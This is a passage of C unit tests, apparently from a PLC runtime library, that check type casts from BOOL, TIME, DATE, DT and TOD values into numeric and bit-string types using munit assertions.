munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_TIME
value_initialise(&sValue);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_TIME, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_DATE
value_initialise(&sValue);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DATE, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_DT
value_initialise(&sValue);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_TOD
value_initialise(&sValue);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_TOD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
